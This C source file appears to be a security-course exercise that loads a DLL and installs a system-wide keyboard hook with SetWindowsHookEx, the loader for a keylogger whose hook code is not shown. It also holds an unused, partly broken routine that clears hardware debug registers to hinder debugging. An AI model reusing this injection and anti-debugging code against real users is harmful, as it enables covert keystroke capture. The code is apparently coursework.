#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <tchar.h>
#include <TlHelp32.h>

#define PROCESS_NAME _T("explorer.exe")
#define FUNCTION_NAME "HookProc"
#define PROG_RET_ERROR -1

#ifdef _DEBUG
#define	LIBRARY_PATH _T("C:\\security\\ex4\\VS\\ex4\\cptnhook\\Debug\\cptnhook.dll")
#else
#define LIBRARY_PATH _T("C:\\security\\ex4\\VS\\ex4\\cptnhook\\Release\\cptnhook.dll")
#endif

/*
 * find process ID by the provess' name
 * return TRUE on success and false on failure
 */
BOOL GetProcessIDByName(PCWSTR name,DWORD* pId)
{
    // Create toolhelp snapshot.
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 process;
	BOOL retVal = FALSE;

    ZeroMemory(&process, sizeof(process));
    process.dwSize = sizeof(process);

	

	if (snapshot == INVALID_HANDLE_VALUE)
	{
		_tprintf(_T("Error: can't enumerate process list\n"));		
		return FALSE;
	}

	// Walkthrough all processes.
    if (Process32First(snapshot, &process))
    {
        do
        {
			//check if the process' name match the given name
			if (_tcsncmp(name,process.szExeFile,MAX_PATH) == 0)
			{
				*pId = process.th32ProcessID;
				retVal = TRUE;
				break;
			}
        } while (Process32Next(snapshot, &process));
		
		
    }

    CloseHandle(snapshot);

    
	return retVal;
	
}
int gCounter = 0;
void ScrambleDebugRegisters()
{
	// Create toolhelp snapshot.
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    THREADENTRY32 thread;


    ZeroMemory(&thread, sizeof(THREADENTRY32));
	thread.dwSize = sizeof(THREADENTRY32);
    

	

	if (snapshot == INVALID_HANDLE_VALUE)
	{
		_tprintf(_T("Error: can't enumerate threads list\n"));		
		return;
	}

	// Walkthrough all processes.
	
    //if (Thread32First(snapshot, &thread))
    {
        //do
        {
			CONTEXT threadContext;
			
			HANDLE threadHandle = GetCurrentThread();

			DWORD threadID = GetCurrentThreadId();

			//we want to handle only notepad threads
			if (thread.th32OwnerProcessID != GetCurrentProcessId()) {
				//continue; 
			}

			threadHandle = OpenThread(THREAD_GET_CONTEXT | THREAD_SET_CONTEXT, FALSE, threadID);

			if (threadHandle == NULL) {
				_tprintf(_T("Error: Can't open notepad thread\n"));
				return;
				//continue;
			}

			if (!GetThreadContext(threadHandle, &threadContext)) {
				_tprintf(_T("Error: Can't get notepad's thread context\n"));
				CloseHandle(threadHandle);
				return;
				//continue;
			}
			
			
			threadContext.ContextFlags = CONTEXT_DEBUG_REGISTERS;
			//printf("0 = %d, 1 = %d, 2 = %d, 3 = %d, 6 = %d, 7 = %d\n", threadContext.Dr0,threadContext.Dr1,threadContext.Dr2,threadContext.Dr3,threadContext.Dr6,threadContext.Dr7);
			threadContext.Dr0 = 0;
			threadContext.Dr1 = 0;
			threadContext.Dr2 = 0;
			threadContext.Dr3 = 0;
			threadContext.Dr6 = 0;
			threadContext.Dr7 = 0;
			printf("%d\n",gCounter++);
			if (!SetThreadContext(GetCurrentThread(), &threadContext)) {
				_tprintf(_T("Error: can't zero thread debug registers"));
				
			}
			
			CloseHandle(threadHandle);
        }// while (Thread32Next(snapshot, &thread));
		
		
    }

    CloseHandle(snapshot);
}
int _tmain()
{

	HMODULE library;
 	HOOKPROC hookProc;
	HHOOK hook;
	DWORD pid;
	char msg[] = {'a','b','c',0x00};
	

	if (!GetProcessIDByName(PROCESS_NAME,&pid))
	{
		_tprintf(_T("Can't find process: %s"),PROCESS_NAME);
		return (-1);
	}
	
	library = LoadLibrary(LIBRARY_PATH);

	if (library == NULL)
	{
		_tprintf(_T("Error: can't load library %s. error code: %d\n"),LIBRARY_PATH,GetLastError());
		return PROG_RET_ERROR;
	}
	
	hookProc = (HOOKPROC)GetProcAddress(library, FUNCTION_NAME);

	if (hookProc == NULL)
	{
		_tprintf(_T("Error: can't locate function %s. error code: %d\n"),FUNCTION_NAME,GetLastError());
		return PROG_RET_ERROR;
	}

	hook = SetWindowsHookEx(WH_KEYBOARD,hookProc,library,0);

	if (hook == NULL)
	{
		_tprintf(_T("Error: can't set hook\n"));
		return PROG_RET_ERROR;
	}

	while(TRUE){Sleep(50000);}



	_tprintf(_T("OK\n"));



}